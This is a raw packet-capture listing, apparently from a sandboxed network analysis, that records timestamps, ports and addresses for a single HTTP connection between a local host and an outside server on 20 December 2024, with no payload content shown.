Dec 20, 2024 09:12:21.752780914 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.753783941 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.753835917 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.753848076 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.753891945 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.754973888 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.755052090 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.755079985 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.755110979 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.756198883 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.756233931 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.756264925 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.756295919 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.757297039 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.757363081 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.757427931 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.757491112 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.758500099 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.758564949 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.758610964 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.758665085 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.759674072 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.759738922 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.889734983 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.889787912 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.889883995 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.889986992 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.890125990 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.890166044 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.890187979 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.890209913 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.891015053 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.891103983 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.891134977 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.891199112 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.892296076 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.892334938 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.892370939 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.892440081 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.893575907 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.893655062 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.893688917 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.893721104 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.894598007 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.894634008 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.894661903 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.894685984 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.895776987 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.895845890 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.895939112 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.896002054 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.896929026 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.896982908 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.896995068 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.897036076 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.898092031 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.898150921 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.898180962 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.898221016 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.899338961 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.899405956 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.899441004 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.899501085 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.900434017 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.900500059 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.900573969 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.900631905 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.901690006 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.901727915 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.901776075 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.901776075 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.902844906 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.902909040 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.902998924 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.903060913 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.904129982 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.904212952 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.904242992 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.904275894 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.905277967 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.905347109 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.905383110 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.905437946 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.906398058 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.906467915 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.906564951 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.906624079 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.907603025 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.907665968 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.907713890 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.907772064 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.908818960 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.908853054 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.908889055 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.908921003 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.909971952 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.910038948 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.910118103 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.910176039 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.911185980 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.911252975 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.911293030 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.911350965 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.912309885 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.912379980 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.912416935 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.912477016 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.913599968 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.913635969 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.913666964 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.913698912 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.914788008 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.914858103 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.914920092 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.914978027 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.915877104 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.915957928 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.915993929 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.916058064 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.917089939 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.917152882 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.917324066 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.917385101 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.918298960 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.918368101 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.918431044 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.918508053 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.919415951 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.919480085 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.919509888 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.919568062 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.920665026 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.920720100 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.920741081 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.920780897 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.921813965 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.921881914 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.921916962 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.921974897 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.922985077 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.923051119 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.923120022 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.923178911 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.924293041 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.924326897 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.924357891 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.924390078 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.925385952 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.925503016 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.925517082 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.925563097 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.926595926 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.926661015 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.926692009 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.926753044 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.927800894 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.927881002 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.927933931 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.927997112 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.928905010 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.928966999 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.929039955 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.929115057 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.930193901 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.930227995 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.930262089 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.930294037 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.931386948 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.931447983 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.931448936 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.931504965 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.932478905 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.932538986 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.932636976 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.932691097 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.933619022 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.933676958 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.933757067 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.933814049 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.934803963 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.934864998 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.934907913 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.934962034 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.936064959 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.936124086 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.936256886 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.936311960 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.937252045 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.937314987 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.937397957 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.937453032 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.938395977 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.938455105 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.938487053 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.938543081 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.939641953 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.939701080 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.939745903 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.939801931 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.940787077 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.940845966 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.940920115 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.940979958 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.941992998 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.942008972 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.942051888 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.943145037 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.943196058 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.943205118 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.943238974 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.944503069 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.944561005 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.944642067 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.944693089 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.945566893 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.945617914 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.945640087 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.945691109 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.946764946 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.946790934 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.946818113 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.946866035 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.948010921 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.948067904 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.948268890 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.948312998 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.949073076 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.949126959 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.949208975 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.949259996 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.950362921 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.950380087 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.950447083 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.951409101 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.951483011 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.096398115 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.096507072 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.097430944 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.097512007 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.140441895 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.140510082 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.215783119 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.215835094 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.215894938 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.215919971 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.217179060 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.217241049 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.260260105 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.260360003 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.336324930 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.336440086 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.336476088 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.336483955 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.336513042 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.336528063 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.336529016 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.336549044 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.336563110 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.336587906 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.336602926 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.336625099 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.336639881 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.336662054 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.336708069 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.336716890 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.336747885 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.336755991 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.336769104 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.336810112 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.336817980 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.336854935 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.336869001 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.336889982 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.336910963 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.336927891 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.336947918 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.336965084 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337002039 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337014914 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337038994 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337054968 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337076902 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337093115 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337094069 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337114096 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337141991 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337150097 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337177038 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337184906 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337213993 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337220907 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337233067 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337255955 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337280035 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337299109 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337323904 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337335110 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337353945 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337399006 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337459087 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337493896 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337512016 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337543964 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337569952 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337605000 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337627888 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337640047 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337663889 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337675095 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337699890 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337713957 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337739944 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337750912 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337774038 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337785959 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337810040 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337821960 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337833881 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337858915 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337872982 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337894917 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337905884 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337929964 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337963104 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.337966919 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.337996960 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.338037014 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.338104010 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.338139057 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.338165998 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.338186979 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.338265896 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.338301897 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.338323116 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.338335991 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.338346004 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.338372946 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.338391066 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.338407993 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.338426113 CET	49785	80	192.168.2.4	31.41.244.11
